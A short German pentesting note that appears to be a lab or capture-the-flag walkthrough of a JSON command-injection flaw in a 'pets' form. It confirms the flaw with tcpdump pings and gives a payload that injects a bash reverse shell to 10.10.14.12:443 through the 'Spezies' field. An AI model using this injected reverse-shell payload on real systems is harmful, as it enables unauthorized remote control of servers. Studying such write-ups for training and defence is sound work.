> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md).
# JSON RCE
Wir haben die Möglichkeit, "pets" mit ihren Spezies hinzuzufügen, was eine JSON-Injection ermöglicht.
Wir fangen die Anfragen mit Burp Suite ab und versuchen, die Anfrage zu manipulieren, indem wir einen Eintrag mit dem Namen und der Spezies hinzufügen:
Dieser Eintrag wird interpretiert, was eine Injection ermöglicht.
```json
{
"Name": "jordan",
"Spezies": "jordan"
}
```
Wir richten einen Listener für die ICMP-Pakete ein, um die Kommunikation zu beobachten und Command-Injection zu testen:
```bash
sudo tcpdump -i tun0 icmp
```
Wir erhalten einen Ping zurück, was die Möglichkeit der Remote-Befehlsausführung bestätigt.
Dann senden wir eine Anfrage mit `curl` an unseren Python-Server und erhalten ebenfalls eine Anfrage, was die Schwachstelle Remote-Code-Ausführung bestätigt.
```bash
{
"Name": "jordan",
"Spezies": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}
```
---
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